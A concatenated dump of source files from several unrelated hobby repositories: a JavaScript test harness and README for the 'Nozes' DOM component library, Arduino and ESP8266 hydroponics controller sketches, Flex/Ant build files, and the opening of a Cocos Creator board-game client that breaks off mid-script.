describe('Router', () => {
test('window.onhashchange dispatch a watched hashchange event', () => {
router({});
return assert(window.onhashchange.name === dispatch.bind(undefined).name);
});
test('call index if no hash route', () => {
var index_called = false;
router({ index: () => index_called = true });
return assert(index_called);
});
test('call defined route object prop based on route', () => {
var home_called = false;
router({ home: () => home_called = true });
window.location.hash = '#/home';
window.onhashchange();
return assert(home_called);
});
test('set props to route function based on route path', () => {
var user_id;
router({ '/user/{id}': (id) => user_id = id });
window.location.hash = '#user/10';
window.onhashchange();
return assert(user_id === '10');
});
});
done();
})(function init() {
global.results = [];
global.window = { location: { hash: '' } };
global.Node = function Node(attr) { return Object.assign(this, attr) };
global.DOMParser = function DOMParser() {
return { parseFromString: function(str) {
return { body: { firstChild: global.document.createElement(str.match(/<(.*) \/>/)[1]) } };
}};
};
global.document = {
createElement: function(tag) {
return new global.Node({
constructor: function HTMLElement() {},
tagName: tag.toUpperCase(), children: [], innerHTML: '',
parentNode: { replaceChild: function(neo, old) { Object.assign(old, neo) } },
isEqualNode: function() { return false },
setAttribute: function(attr, value) { this[attr] = value },
appendChild: function(child) { typeof child === 'string' ? (this.innerHTML = child) : this.children.push(child) }
});
},
createTextNode: function(text) { return text },
createDocumentFragment: function(text) { return text },
head: {
children: [],
appendChild: function(child) { global.document.head.children.push(child) }
}
};
global.setTimeout = function(func) { func() }
return global;
},
function describe(text, func) { console.group('\n\x1b[37m', text); func(); console.groupEnd() },
function test(text, func) { console.log(func(), '\x1b[90m', text, '\x1b[37m') },
function assert(sentence) { return results.push(sentence) && sentence ? '\x1b[32m✓' : '\x1b[31m✗' },
function done() { console.info('\n\x1b[32mTOTAL PASS:', results.filter(i=>i).length, '\n\x1b[31mTOTAL FAIL:', results.filter(i=>!i).length) });
<file_sep>/README.md
# Nozes
Declarative tool to create plain javascript components
## 5 minutes example
[](https://www.youtube.com/watch?v=hsQ7YcoRD5M)
## Get started
```html
<script src="./nozes.js"></script>
<script>
(function() {
const { createElement, watch, dispatch } = new Nozes();
const { div, p, button, h1 } = createElement;
function Message(msg) {
var handleClick = function() {
dispatch('print', 'HI!');
};
return div(
p({ className: 'message' }, msg),
button({ onclick: handleClick }, 'Click here')
);
}
function App() {
return div(
h1('Hello, world'),
Message('Lorem ipsum')
);
}
watch('print', alert.bind(this));
document.body.appendChild(App());
})();
</script>
```
### Elements
Has a constructor for each HTML tag that receive parameters that could be objects, functions, strings, numbers or HTML element instances.
The return of any of these constructors are HTML elements created with document.createElement function.
- If a parameter is an object, their attributes will be assigned to that element.
- If it's another HTML element, this will be appended as child of that.
- If it's a string or a number, a TextNode will be created with the value and appended as child of the element.
- If a function, it'll be called with the element as first parameter.
- If an array, each item of this array will be evaluated like others constructor parameters.
```javascript
div(
h1('hello, world'),
a({ href: '#' }, 'click here'),
function(me) { console.log("ref:", me) }
)
```
You have different ways to create an element using createElement:
```javascript
createElement.div()
createElement('div')
```
### Styling
Create unique style definitions and return its class name.
Even if a style is defined multiple times, if the definitions content was the same, just one style will be created and the function returns the unique class name.
```javascript
var doubleSizeFont = styleClass('font-size:2em');
section(
div({ className: doubleSizeFont }, 'This is a text with 2em'),
p({ className: styleClass('font-size:2em') }, 'This paragraph will reuse the same class name created above')
)
```
Nested definitions are accepted. The "&" character will be replaced by auto generated class name. Just one nesting level is accepted.
```javascript
var className = styleClass(`
cursor: pointer;
&:hover { background: gray }
& img.helper { display: inline-block }
`);
```
It's possible to set style as a string property or an object.
```javascript
section(
div({style: 'max-width: 200px'}, 'Limited width container'),
div({style: { maxWidth: '200px' }}, 'Limited width container')
)
```
### Watch
Create an event listener that call a function if dispatched. An event can belong to a group.
Every time the watch function is invoked, a listener is created unless the event belong to a specific group that already exists. In this case, just the callback function will be replaced.
An event can be a blank string. In this case, this listener will be called every time any event is dispatched.
```javascript
watch('log', alert.bind(this), 'view'); // A listener was created with a group
watch('print', console.log); // Another listener was created
watch('log', prompt.bind(this), 'view'); // That first listener function was replaced
watch('print', console.log); // Another listener was created (now this event will console.log two times)
watch('', alert.bind(this)); // Will call alert if any event is dispatched
```
### Dispatch
Call a function assigned to an event and pass a message as argument. These messages are stored internally as key/value (event/message) if the event value is a string.
If a message is an object, their attributes will be assigned to an previously stored object to that event.
A function or an object can be dispatched as event. In this case the Function.name or Object.name will be used as event and nothing will be stored.
```javascript
dispatch('log', 'Hello, view');
dispatch('print', 'Hello, console');
dispatch('person', { nick: 'Me' }); // Listener will receive { nick: 'Me' }
dispatch('person', { fingers: 5 }); // Listener will receive { nick: 'Me', fingers: 5 }
dispatch({ name: 'person' }, { age: 18 }); // The same listener will receive { age: 18 }
```
### Connect
The "connect" function can be used to attach an "element updater" event. It's just a wrapper for a function that return an Element that update its reference every time "dispatch" is called with current event. You can use multiple watch/dispatch events just with spaces between them or setting as array. Each connected function will set 'this' as the rendered element that should be updated on return. If it's the first call, 'this' is a document-fragment. You can verify if 'this' is rendered in DOM using WebAPI this.isConnected boolean.
```javascript
document.body.appendChild(
connect(['notify', 'log'], function() {
if (this) console.log('Element to be replaced:', this);
else console.log('First time call. No old element reference');
return div(Date().toString());
});
);
```
### Router
```javascript
router({
index: () => a({ href: '#/hello/world/earth' }, 'Home page'),
'/hello/{param}/{name}': (param, name) => a({ href: '#' }, 'Hello, ' + param + ' (' + name + ')')
})
```
Router is a function with an object that defines routes and function callbacks that will be invoked when some hash router is called.
## Run tests
```sh
node test
```
## Build minified
```sh
npx uglify-js nozes.js -cm > dist/nozes.min.js
```
## Examples
Examples in 'examples' folder
## Why 'Nozes'?
It's a joke, an old brazilian meme called "As árvores somos nozes", that could be translated as "The tree are us". Nozes it's about DOM tree.
## Special thanks
[<NAME>](http://github.com/BrunoFacundo) that tested first implementations, suggested improvements and did pair programming on "watch / connect / dispatch" implementations.
## License
MIT
<file_sep>/examples/todo/Footer.js
import { createElement, dispatch, connect } from '../../nozes.mjs';
const { div, button, b } = createElement;
function Footer({ tasklist = [] }) {
function reverse() {
dispatch('tasklist', tasklist.reverse());
}
return div(
button({ style: 'float: right', onclick: reverse }, 'Reverse'),
b('Total: '), tasklist.length
);
}
export default connect('tasklist', Footer);
|
82e26e79591d7d81b729e35fd771c7a57e9144b4
|
[
"Markdown",
"TypeScript",
"JavaScript"
] | 11 |
Markdown
|
henriquegogo/nozes
|
5b65255f0daccca63d07cdf6529f39d015416382
|
f33b1dee164ea3c9750644820b30076737f8e987
|
refs/heads/master
|
<repo_name>prateek-khatri/Hydroponics-IoT<file_sep>/Non-Working-Code/Hydroponics_Arduino.ino
#include<Arduino.h>
//********************
//PIN DEFINITIONS
//********************
//RELAY PINS
#define RELAY_PH_ACID_PUMP 4
#define RELAY_PH_BASE_PUMP 5
#define RELAY_EC_PUMP_ONE 6
#define RELAY_EC_PUMP_TWO 7
#define RELAY_WATER_PUMP 8
#define RELAY_LIGHT_SWITCH 9
//SENSOR PINS
#define EC_SENSOR_PIN_ONE 2
#define EC_SENSOR_PIN_TWO 3
#define SOIL_MOISTURE_SENSOR_PIN A3
#define LIGHT_SENSOR_PIN A2
#define SERIAL_RX 13
#define SERIAL_TX 12
//********************
//GLOBAL DEFINITIONS
//********************
//SENSOR VALUES
int soil_moisture;
int light_intensity;
float pHValue;
float ecValue;
String requestStringThresholds[6];
//THRESHOLDS
int soil_moisture_min;
int light_intensity_min;
float pH_min;
float pH_max;
float ec_min;
float ec_max;
//ACTUATOR STATE
bool phActuator;
bool ecActuator;
bool lightActuator;
bool waterActuator;
//DELTA VALUES (To be set manually depending on data frequency required)
#define SOIL_MOISTURE_DELTA 5 //(PERCENT)
#define LIGHT_INTENSITY_DELTA 5 //(PERCENT)
#define PH_DELTA 0.25 //pH scale
#define EC_DELTA 0.1 //ec scale
#include "Wire.h"
#define pHtoI2C 0x48
#define T 273.15
#include <SoftwareSerial.h>
SoftwareSerial ESPserial(SERIAL_RX, SERIAL_TX); // RX | TX
void showInitSerialMessage()
{
Serial.println("Serial Ports Init, System Running");
Serial.println("");
}
void requestThresholds() // at boot
{
//communicate with ESP - > wait for timeout
ESPserial.println("1"); // If ESP receives 1 then boot
Serial.println("Waiting for Thresholds...");
while(!(ESPserial.available() >0))
{
Serial.print(".");
delay(1000);
}
// delay(1000);
// if(!ESPserial.available())
// {
// Serial.println("Waiting 1 min for response...");
// //delay(60000);//Boot time delay
// }
int i=0;
while( ESPserial.available() )
{
char a = ESPserial.read();
if(a==',')
{
i++;
a= ESPserial.read();
}
requestStringThresholds[i] = requestStringThresholds[i]+a;
if(!ESPserial.available())
{
Serial.println();
Serial.flush();
}
}
}
void setNewThresholds(String req[])
{
//Parse String here
/*
* 0 - ph min
* 1 - ph max
* 2 - ec min
* 3 - ec max
* 4 - soil moisture level
* 5 - light moisture level
*/
pH_min = req[0].toFloat();
pH_max = req[1].toFloat();
ec_min = req[2].toFloat();
ec_max = req[3].toFloat();
soil_moisture_min = req[4].toInt();
light_intensity_min = req[5].toInt();
}
void setPinModes()
{
phActuator = false;
ecActuator = false;
lightActuator = false;
waterActuator = false;
pinMode(RELAY_PH_ACID_PUMP,OUTPUT);
pinMode(RELAY_PH_BASE_PUMP,OUTPUT);
pinMode(RELAY_EC_PUMP_ONE,OUTPUT);
pinMode(RELAY_EC_PUMP_TWO,OUTPUT);
pinMode(RELAY_WATER_PUMP,OUTPUT);
pinMode(RELAY_LIGHT_SWITCH,OUTPUT);
digitalWrite(RELAY_PH_ACID_PUMP,LOW);
digitalWrite(RELAY_PH_BASE_PUMP,LOW);
digitalWrite(RELAY_EC_PUMP_ONE,LOW);
digitalWrite(RELAY_EC_PUMP_TWO,LOW);
digitalWrite(RELAY_WATER_PUMP,LOW);
digitalWrite(RELAY_LIGHT_SWITCH,LOW);
}
void readAllSensors()
{
readLightIntensity();
readSoilMoisture();
readEC();
readPH();
}
bool matchDeltas()
{
bool eCState = (abs(ecValue - scanEcValue()) > EC_DELTA);
bool pHState = (abs(pHValue - scanpHValue()) > PH_DELTA);
bool soilState = (abs(soil_moisture - scanSoilMoisture()) > SOIL_MOISTURE_DELTA);
bool lightState = (abs(light_intensity - scanLightIntensity()) > LIGHT_INTENSITY_DELTA);
if(eCState || pHState || soilState || lightState)
{
return true;
}
return false;
}
bool matchThresholds()
{
return false;
}
void initRequestStringThresholds()
{
int i =0;
for(i=0;i<6;i++)
{
requestStringThresholds[i] = "";
}
}
void waitForResponse() //RECEIVES THRESHOLDS
{
Serial.println("Waiting for Response from ESP...");
while(!(ESPserial.available()>0));
initRequestStringThresholds();
int i=0;
while(ESPserial.available()>0)
{
char a = ESPserial.read();
if(a==',')
{
i++;
a=ESPserial.read();
}
requestStringThresholds[i] +=a;
}
Serial.print("Response from 8266 Received: ");
Serial.println("Updating Thresholds...");
setNewThresholds(requestStringThresholds);
}
/*
* Code 0: Normal Delta Update
* Code 2: Threshold Violation, need to follow with actuator status
* Code 9: Actuator status string
*/
void sendUpdate(int code)
{
readAllSensors();
//Send sensor values to ESP
//Wait for new thresholds from ESP
//pH,ec,soil,light
String sensorVals = String(code)+","+String(pHValue,2)+","+String(ecValue,2)+","+String(soil_moisture,DEC)+","+String(light_intensity,DEC);
Serial.print("Sending Values to ESP8266: ");
Serial.println(sensorVals);
ESPserial.print(sensorVals);
waitForResponse();
}
void sendActuatorUpdate()
{
int ph,ec,soil,light;
if(phActuator == true) ph = 1;
else ph = 0;
if(ecActuator == true) ec = 1;
else ec = 0;
if(waterActuator == true) soil = 1;
else soil = 0;
if(lightActuator == true) light = 1;
else light = 0;
String acVals = "9,"+String(ph)+","+String(ec)+","+String(soil)+","+String(light);
Serial.println("Sending Actuator Values to ESP8266:");
Serial.println(acVals);
ESPserial.print(acVals);
}
boolean checkPHLevels()
{
if(pHValue < pH_min)
{
Serial.println("PH BASE PUMP : ON");
digitalWrite(RELAY_PH_BASE_PUMP,HIGH);
digitalWrite(RELAY_PH_ACID_PUMP,LOW);
phActuator = true;
}
else if(pHValue > pH_max)
{
Serial.println("PH ACID PUMP : ON");
digitalWrite(RELAY_PH_ACID_PUMP,HIGH);
digitalWrite(RELAY_PH_BASE_PUMP,LOW);
phActuator = true;
}
else
{
digitalWrite(RELAY_PH_ACID_PUMP,LOW);
digitalWrite(RELAY_PH_BASE_PUMP,LOW);
phActuator = false;
}
return phActuator;
}
boolean checkECLevels()
{
if(ecValue < ec_min)
{
Serial.println("NUTRIENT PUMP : ON");
digitalWrite(RELAY_EC_PUMP_ONE,HIGH);
digitalWrite(RELAY_EC_PUMP_TWO,LOW);
ecActuator = true;
}
else if(ecValue > ec_max)
{
Serial.println("WATER(Nutrient) PUMP: ON");
digitalWrite(RELAY_EC_PUMP_ONE,HIGH);
digitalWrite(RELAY_EC_PUMP_TWO,LOW);
ecActuator = true;
}
else
{
digitalWrite(RELAY_EC_PUMP_ONE,LOW);
digitalWrite(RELAY_EC_PUMP_TWO,LOW);
ecActuator = false;
}
return ecActuator;
}
boolean checkMoistureLevels()
{
if(soil_moisture < soil_moisture_min)
{
Serial.println("SPRINKLER : ON");
digitalWrite(RELAY_WATER_PUMP,HIGH);
waterActuator = true;
}
else
{
digitalWrite(RELAY_WATER_PUMP,LOW);
waterActuator = false;
}
return waterActuator;
}
boolean checkLightLevels()
{
if(light_intensity < light_intensity_min)
{
Serial.println("LIGHT : ON");
digitalWrite(RELAY_LIGHT_SWITCH,HIGH);
lightActuator = true;
}
else
{
digitalWrite(RELAY_LIGHT_SWITCH,LOW);
lightActuator = false;
}
return lightActuator;
}
void activateActuators()
{
boolean prevVals[] = {phActuator,ecActuator,waterActuator,lightActuator};
//add code 9 sendUpdate(9) and attach actuator status;
if((prevVals[0] != checkPHLevels()) || (prevVals[1] != checkECLevels()) || (prevVals[2] != checkMoistureLevels()) || (prevVals[3] != checkLightLevels()))
{
sendActuatorUpdate();
}
}
void readSoilMoisture()
{
float a =(float) analogRead(SOIL_MOISTURE_SENSOR_PIN);
a = a*100;
a = a/1023;
soil_moisture = (int)a;
}
void readLightIntensity()
{
float a =(float) analogRead(LIGHT_SENSOR_PIN);
a = a*100;
a = a/1023;
light_intensity = (int)a;
}
void readPH()
{
}
void readEC()
{
}
int scanSoilMoisture()
{
float a =(float) analogRead(SOIL_MOISTURE_SENSOR_PIN);
a = a*100;
a = a/1023;
return (int)a;
}
int scanLightIntensity()
{
float a =(float) (analogRead(LIGHT_SENSOR_PIN)-255);
a = a/(1023-255);
a = a*100;
return (int)a;
}
float scanpHValue()
{
return 0.0;
}
float scanEcValue()
{
return 0.0;
}
void setup()
{
//INIT SERIAL PORTS
ESPserial.begin(115200);
ESPserial.flush();
Serial.begin(9600);
Serial.flush();
showInitSerialMessage();
//SEND THRESHOLD REQUESTS -: THIS FUNCTION WILL WAIT FOR A REPLY OR KEEP SENDING REQUEST
initRequestStringThresholds();
while(requestStringThresholds[0].equals(""))
{
requestThresholds();
}
//SET THE THRESHOLDS TO WORK WITH
setNewThresholds(requestStringThresholds);
//SET PIN MODES
setPinModes();
}
void loop()
{
readAllSensors();
activateActuators();
delay(10000);
if(matchDeltas() == true)
{
if(matchThresholds() == true)
{
sendUpdate(2);
activateActuators();
}
else
{
sendUpdate(0);
}
}
}
<file_sep>/README.md
# Hydroponics-IoT
System Overview:

<file_sep>/Non-Working-Code/ESPCode.ino
#include <ArduinoJson.h>
#include <Arduino.h>
#include <ESP8266WiFi.h>
#include <ESP8266WiFiMulti.h>
#include <ESP8266HTTPClient.h>
ESP8266WiFiMulti WiFiMulti;
//GLOBAL DEFINITIONS
#define SERIAL_RX 2
#define SERIAL_TX 3
// WiFi Connection
//SENSOR VALUES
int soil_moisture;
int light_intensity;
float pHValue;
float ecValue;
//THRESHOLDS
int soil_moisture_min;
int light_intensity_min;
float pH_min;
float pH_max;
float ec_min;
float ec_max;
//Actuator Status
bool phActuator;
bool ecActuator;
bool lightActuator;
bool waterActuator;
//Server Request Strings
String payload;
#include <SoftwareSerial.h>
SoftwareSerial ESPserial(SERIAL_RX, SERIAL_TX); // RX | TX
void updatePayloadOnArduino()
{
//ESPserial.flush();
//{"tdsUpperThresholds":0,"lightLowerThresholds":0,"tdsLowerThresholds":0,"moistureLowerThresholds":0,"phLowerThresholds":0,"phUpperThresholds":0}
StaticJsonBuffer<200> jsonBuffer;
char payloadArray[200];
payload.toCharArray(payloadArray,200);
JsonObject& root = jsonBuffer.parseObject(payloadArray);
// if(!root.success())
// {
// Serial.println("Json Conversion Failed");
// return;
// }
soil_moisture_min = root["moistureLowerThresholds"];
light_intensity_min = root["lightLowerThresholds"];
pH_min = root["phUpperThresholds"];
pH_max = root["phLowerThresholds"];
ec_min = root["tdsLowerThresholds"];
ec_max = root["tdsUpperThresholds"];
Serial.println("Sending to Arduino:");
String responseThresholds = ""+String(pH_min)+","+String(pH_max)+","+String(ec_min)+","+String(ec_max)+","+String(soil_moisture_min)+","+String(light_intensity_min);
Serial.println(responseThresholds);
ESPserial.print(responseThresholds);
}
void sendValues(float ph, float ec, int soil, int light)
{
bool flag = false;
Serial.println("Updating Values on Server...");
Serial.println("Waiting for WiFi connection...");
while(flag == false)
{
Serial.println("Trying to connect...");
if((WiFiMulti.run() == WL_CONNECTED))
{
Serial.println("WiFi Connection Established!");
HTTPClient http;
Serial.print("[HTTP] begin...\n");
//configure server request
http.begin("172.20.10.1", 8080,"?&fn=getSensorDetails&sensorId=esp001&ph="+String(ph,2)+"&tds="+String(ec,2)+"&light="+String(light)+"&moisture="+String(soil)+"&boot=false");
Serial.println("[HTTP] GET...");
//send HTTP header
int httpCode = http.GET();
//httpCode will be negative on error
if(httpCode >0)
{
Serial.print("[HTTP] GET... code ");Serial.println(httpCode);
if(httpCode == HTTP_CODE_OK)
{
payload = http.getString();
//payload.replace("\n","");
//payload.replace(" ","");
Serial.println("Received From Server:");
Serial.println(payload);
if(payload.equals(""))
{
flag=false;
}
else
{
flag = true;
break;
}
}
}
else
{
Serial.printf("[HTTP] GET... failed, error: %s\n", http.errorToString(httpCode).c_str());
}
http.end();
}
delay(10000);
}
updatePayloadOnArduino();
}
void sendInitToServer()
{
bool flag = false;
Serial.println("Fethching Thresholds from server");
Serial.println("Waiting for WiFi connection...");
while(flag == false)
{
Serial.println("Trying to connect...");
if((WiFiMulti.run() == WL_CONNECTED))
{
Serial.println("WiFi Connection Established!");
HTTPClient http;
Serial.print("[HTTP] begin...\n");
//configure server request
http.begin("172.20.10.1", 8080,"?&fn=getSensorDetails&sensorId=esp001&ph=7.2&tds=50&light=15.3&moisture=15.99&boot=true");
Serial.println("[HTTP] GET...");
//send HTTP header
int httpCode = http.GET();
//httpCode will be negative on error
if(httpCode >0)
{
Serial.print("[HTTP] GET... code ");Serial.println(httpCode);
if(httpCode == HTTP_CODE_OK)
{
payload = http.getString();
//payload.replace("\n","");
//payload.replace(" ","");
Serial.println("Received From Server:");
Serial.println(payload);
if(payload.equals(""))
{
flag=false;
}
else
{
flag = true;
break;
}
}
}
else
{
Serial.printf("[HTTP] GET... failed, error: %s\n", http.errorToString(httpCode).c_str());
}
http.end();
}
delay(10000);
}
}
void setup()
{
Serial.begin(115200);
ESPserial.begin(115200);
Serial.println("Init Serial Ports done...");
for(uint8_t t = 4; t > 0; t--)
{
Serial.printf("[SETUP] WAIT %d...\n", t);
Serial.flush();
delay(1000);
}
WiFiMulti.addAP("iPhone 6","parthconnect");
Serial.println("Waiting for Controller Init...");
while(!(ESPserial.available() > 0))
{
delay(1000);
Serial.print(".");
}
Serial.println();
while(ESPserial.available() > 0)
{
char a = ESPserial.read();
if(a=='1')
{
Serial.printf("Received Code: %c\n",a);
sendInitToServer();
break;
}
delay(500);
}
updatePayloadOnArduino();
}
void deltaViolationUpdate(String payload)
{
String sensorVals[4];
int i=0;
int val = 0;
for(i=0;i<payload.length();i++)
{
if(payload[i] == ',') val++;
sensorVals[val] += payload[i];
}
pHValue = sensorVals[0].toFloat();
ecValue = sensorVals[1].toFloat();
soil_moisture = sensorVals[2].toFloat();
light_intensity = sensorVals[3].toFloat();
sendValues(pHValue,ecValue,soil_moisture,light_intensity);
}
void thresholdViolationUpdate(String payload)
{
String sensorVals[4];
int i=0;
int val = 0;
for(i=0;i<payload.length();i++)
{
if(payload[i] == ',') val++;
sensorVals[val] += payload[i];
}
pHValue = sensorVals[0].toFloat();
ecValue = sensorVals[1].toFloat();
soil_moisture = sensorVals[2].toFloat();
light_intensity = sensorVals[3].toFloat();
sendValues(pHValue,ecValue,soil_moisture,light_intensity);
}
void sendActuatorUpdate(bool ph, bool ec, bool light, bool water)
{
bool flag = false;
Serial.println("Updating Actuator Status on Server...");
Serial.println("Waiting for WiFi connection...");
while(flag == false)
{
Serial.println("Trying to connect...");
if((WiFiMulti.run() == WL_CONNECTED))
{
Serial.println("WiFi Connection Established!");
HTTPClient http;
Serial.print("[HTTP] begin...\n");
//configure server request
http.begin("172.20.10.1", 8080,"?&fn=updateActuatorData&sensorId=esp001&ph="+String(ph)+"&tds="+String(ec)+"&light="+String(light)+"&moisture="+String(water)+"&boot=false");
Serial.println("[HTTP] GET...");
//send HTTP header
int httpCode = http.GET();
//httpCode will be negative on error
if(httpCode >0)
{
Serial.print("[HTTP] GET... code ");Serial.println(httpCode);
if(httpCode == HTTP_CODE_OK)
{
payload = http.getString();
//payload.replace("\n","");
//payload.replace(" ","");
Serial.println("Received From Server:");
Serial.println(payload);
if(payload.equals(""))
{
flag=false;
}
else
{
flag = true;
break;
}
}
}
else
{
Serial.printf("[HTTP] GET... failed, error: %s\n", http.errorToString(httpCode).c_str());
}
http.end();
}
delay(10000);
}
updatePayloadOnArduino();
}
void actuatorStatusUpdate(String payload)
{
String sensorVals[4];
int i=0;
int val = 0;
for(i=0;i<payload.length();i++)
{
if(payload[i] == ',') val++;
sensorVals[val] += payload[i];
}
//0 false
// 1 true
phActuator = sensorVals[0].toInt();
ecActuator = sensorVals[1].toInt();
waterActuator = sensorVals[2].toInt();
lightActuator = sensorVals[3].toInt();
sendActuatorUpdate(phActuator,ecActuator,lightActuator,waterActuator);
}
/*
* Code 0: Normal Delta Update
* Code 2: Threshold Violation, need to follow with actuator status
* Code 9: Actuator status string
*/
void waitForSensorUpdates()
{
//Serial.println("Waiting for Sensor Data Update from Arduino");
while(!(ESPserial.available() >0))
{
delay(1000);
}
String response = "";
char a;
while(ESPserial.available() >0)
{
a = ESPserial.read();
if(a == '0' || a == '2' || a=='9')
{
ESPserial.read(); //remove comma
break;
}
}
payload = "";
while(ESPserial.available() >0)
{
char b = ESPserial.read();
payload +=b;
}
if(a=='0')
{
deltaViolationUpdate(payload);
}
if(a=='2')
{
thresholdViolationUpdate(payload);
}
if(a=='9')
{
actuatorStatusUpdate(payload);
}
}
void loop()
{
waitForSensorUpdates();
delay(1000);
}
|
d9945927bd41611a09d713e07269eeead04a32db
|
[
"Markdown",
"C++"
] | 3 |
Markdown
|
prateek-khatri/Hydroponics-IoT
|
66785a6f4455bac75f69e00721caf8919e7ab7f3
|
733aa61fe163d65058d7424070f90d69eb9b35f2
|
refs/heads/master
|
<file_sep><?xml version="1.0" encoding="utf-8"?>
<wizards:UxWizardStep xmlns:fx="http://ns.adobe.com/mxml/2009"
xmlns:s="library://ns.adobe.com/flex/spark"
xmlns:mx="library://ns.adobe.com/flex/mx"
xmlns:wizards="com.emc.efx.guitoolkit.components.wizards.*"
xmlns:controls="com.emc.ecuit.flex.components.controls.*"
xmlns:views="com.emc.efx.guitoolkit.components.views.*"
creationComplete="creationCompleteHandler()"
backgroundColor="#EAF5FE">
<fx:Script source="PrimaryServerSelection.mxml.as" />
<views:UxProgressCanvas id="progress" width="100%" height="100%" >
<mx:VBox x="0" y="0" width="100%" paddingBottom="15" paddingTop="15" paddingLeft="15" paddingRight="15">
<mx:Text text="Select primary server for storage tiering :" paddingBottom="10"/>
<mx:Form label="fileSystemForm" width="100%" height="100%" paddingBottom="30">
<mx:FormItem label="Type" styleName="ECUITWizardBodyText" required="true">
<mx:HBox>
<mx:ComboBox id="type" dataProvider="{typeArray}" change="changeType()" width="150" />
<!--<mx:Button label="Add" toolTip="Add New Server" useHandCursor="true" click="addNewServerClickHandler(event)" icon="{add_22x22}" />-->
</mx:HBox>
</mx:FormItem>
<mx:FormItem label="Name" styleName="ECUITWizardBodyText" required="true">
<mx:ComboBox id="primary" change="changeProtocol()" width="150" />
</mx:FormItem >
<mx:FormItem label="Protocol" styleName="ECUITWizardBodyText" required="true">
<mx:ComboBox id="protocol" dataProvider="{protocolArray}" change="changeProtocol()" width="150" />
</mx:FormItem>
<mx:FormItem label="Path" styleName="ECUITWizardBodyText" required="true">
<mx:HBox>
<mx:TextInput id="path" width="150" change="validateNext()"/>
<mx:Button label="Browse" click="clickHandler(event)" />
</mx:HBox>
</mx:FormItem>
</mx:Form>
<!-- <mx:Button label="Add New Server" click="addNewServerClickHandler(event)" />-->
<mx:HBox paddingTop="100" paddingLeft="15">
<mx:Button id="addButton" label="Add Server" toolTip="Add New Server" icon="{add_22x22}" width="110" click="addNewServerClickHandler(event)" />
</mx:HBox>
</mx:VBox>
</views:UxProgressCanvas>
</wizards:UxWizardStep>
<file_sep><?xml version="1.0" encoding="UTF-8"?>
<project basedir="." name="flex" default="default">
<property environment="env" />
<property name="FLEX_HOME" location="/etc/flex" />
<property name="PROJECT.home" location="./" />
<property name="PROJECT.war" value="war" />
<property name="PROJECT.war_target" value="Flex.war" />
<property name="PROJECT.web_inf" value="WEB-INF" />
<property name="PROJECT.webroot" value="webapp" />
<property name="PROJECT.java_src" value="java" />
<property name="PROJECT.java_classes" value="./${PROJECT.war}/${PROJECT.web_inf}/classes" />
<target name="war">
<echo message="Delete ${PROJECT.war}" />
<delete dir="${PROJECT.war}" />
<echo message="Construct ${PROJECT.war} based on ${PROJECT.webroot}" />
<mkdir dir="${PROJECT.war}"/>
<copy todir="${PROJECT.war}" >
<fileset dir="${PROJECT.webroot}" >
<exclude name="CVS/" />
<exclude name="**/CVS/" />
</fileset>
</copy>
</target>
<target name="javac" depends="war" >
<echo message="Compiling Java source code ${PROJECT.java_src}" />
<mkdir dir="${PROJECT.java_classes}"/>
<javac destdir="${PROJECT.java_classes}"
nowarn="true"
debug="true"
optimize="false"
deprecation="true"
target="1.7"
verbose="fase"
fork="false"
source="1.7">
<src>
<pathelement location="${PROJECT.java_src}" />
</src>
<classpath>
<pathelement location="./${PROJECT.webroot}/lib/javax.servler-3.0.jar" />
<pathelement location="./${PROJECT.webroot}/lib/jstl-1.2.jar" />
</classpath>
<compilerarg value="-Xlint:unchecked"/>
</javac>
</target>
<!-- HTML Wrapper -->
<target name="wrapper">
<html-wrapper title="Flex Rest Application"
file="index.html"
height="500"
width="500"
bgcolor="#000000"
application="FormBased.mxml"
swf="FormBased"
version-major="9"
version-minor="0"
version-revision="0"
history="true"
output="${PROJECT.war}"/>
</target>
<taskdef resource="flexTasks.tasks" classpath="${FLEX_HOME}/ant/lib/flexTasks.jar" />
<target name="flex" depends="wrapper">
<mxmlc file="${PROJECT.home}/src/FormBased.mxml" keep-generated-actionscript="true" output="${PROJECT.war}/FormBased.swf">
<load-config filename="${FLEX_HOME}/frameworks/flex-config.xml"/>
<source-path path-element="${FLEX_HOME}/frameworks"/>
</mxmlc>
<copy todir="${PROJECT.war}" >
<fileset dir="${PROJECT.home}/bin-debug" >
</fileset>
</copy>
</target>
<target name="war_target" depends="javac,flex">
<jar destfile="${PROJECT.war_target}" basedir="${PROJECT.war}" />
</target>
<target name="tar" depends="war_target">
<delete dir="${PROJECT.war}" />
<delete dir="${PROJECT.tomcat}" />
<delete dir="${PROJECT.home}/out" />
</target>
<target name="clean">
<delete dir="bin"/>
<delete dir="lib"/>
</target>
<target name="realclean" depends="clean">
<echo message="Delete ${PROJECT.tomcat}" />
<delete dir="${PROJECT.tomcat}"/>
<delete file="${PROJECT.target}" />
<echo message="Delete ${PROJECT.war}" />
<delete dir="${PROJECT.war}" />
<delete file="${PROJECT.target}" />
<delete dir="${dest.dir}"/>
<delete file="./src/${extension.key}Classes.as" />
</target>
<target name="default" depends="tar">
<!-- <target name="default" depends="java,tar"> -->
</target>
</project>
|
18069edc11d52dc50a73864cf573e73ccc9892ec
|
[
"XML",
"Ant Build System"
] | 2 |
XML
|
systemlogic/Flex
|
b223a14720e8f55ee33d73c8e7ee864cb1e65e4a
|
a47d0fb18fd80c222fa96f5bd3effdbe79556f31
|
refs/heads/master
|
<repo_name>JiaWeiBi/three_client<file_sep>/README.md
# three
成三棋
待完善
<file_sep>/assets/src/Main.js
// Learn cc.Class:
// - [Chinese] http://docs.cocos.com/creator/manual/zh/scripting/class.html
// - [English] http://www.cocos2d-x.org/docs/creator/en/scripting/class.html
// Learn Attribute:
// - [Chinese] http://docs.cocos.com/creator/manual/zh/scripting/reference/attributes.html
// - [English] http://www.cocos2d-x.org/docs/creator/en/scripting/reference/attributes.html
// Learn life-cycle callbacks:
// - [Chinese] http://docs.cocos.com/creator/manual/zh/scripting/life-cycle-callbacks.html
// - [English] http://www.cocos2d-x.org/docs/creator/en/scripting/life-cycle-callbacks.html
cc.Class({
extends: cc.Component,
properties: {
// foo: {
// // ATTRIBUTES:
// default: null, // The default value will be used only when the component attaching
// // to a node for the first time
// type: cc.SpriteFrame, // optional, default is typeof default
// serializable: true, // optional, default is true
// },
// bar: {
// get () {
// return this._bar;
// },
// set (value) {
// this._bar = value;
// }
// },
},
// LIFE-CYCLE CALLBACKS:
// onLoad () {},
start() {
var self = this;
window.status = 0;
window.notice = this.notice
starx.init({ host: '192.168.0.100', port: 5000, path: '/three_game' }, function () {
starx.on("onRoomInfo", self.onRoomInfo);
starx.on("notice", self.onNotice);
starx.on("onStatus", self.onStatus);
starx.on("onStep", self.onStep);
starx.on("onSettle", self.onSettle);
